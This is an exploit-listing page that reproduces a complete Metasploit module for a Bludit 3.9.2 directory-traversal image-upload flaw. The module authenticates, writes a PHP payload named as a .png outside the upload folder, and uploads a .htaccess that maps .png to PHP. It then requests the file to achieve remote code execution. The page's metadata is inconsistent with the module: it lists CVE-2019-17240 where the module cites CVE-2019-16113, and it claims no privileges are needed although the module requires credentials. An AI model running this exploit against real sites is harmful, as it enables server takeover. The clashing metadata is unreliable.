Bludit Directory Traversal Image File Upload (Metasploit)
CVE
Category
Price
Severity
CVE-2019-17240
CWE-22
$5000
High
Author
Risk
Exploitation Type
Date
Gus
High
Remote
2019-12-04
CPE
cpe:cpe:/a:bludit:bludit
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019120013 Below is a copy:
Bludit Directory Traversal Image File Upload (Metasploit) ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end
class PhpPayload
attr_reader :payload
attr_reader :name
def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end
class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key
def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end
content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end
if content_attr.value == 'Bludit'
return CheckCode::Detected
end
CheckCode::Safe
end
def get_uuid(login_badge)
print_status('Retrieving UUID...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end
uuid_val = uuid_element.attributes['value']
unless uuid_val && uuid_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No UUID value')
end
uuid_val.value
end
def upload_file(login_badge, uuid, content, fname)
print_status("Uploading #{fname}...")
data = Rex::MIME::Message.new
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
'data' => data.to_s
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
end
def upload_php_payload_and_exec(login_badge)
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
# To: /var/www/html/bludit/bl-content/tmp
uuid = get_uuid(login_badge)
php_payload = get_php_payload
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')
print_status("Executing #{php_payload.name}...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
})
end
def get_php_payload
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
end
def get_login_badge(res)
cookies = res.get_cookies
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
html = res.get_html_document
csrf_element = html.at('input[@name="tokenCSRF"]')
unless csrf_element
fail_with(Failure::Unknown, 'No tokenCSRF found')
end
csrf_val = csrf_element.attributes['value']
unless csrf_val && csrf_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No tokenCSRF value')
end
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
end
def do_login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
login_badge = get_login_badge(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'vars_post' =>
{
'tokenCSRF' => login_badge.csrf_token,
'username' => login_badge.username,
'password' => login_badge.password
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end
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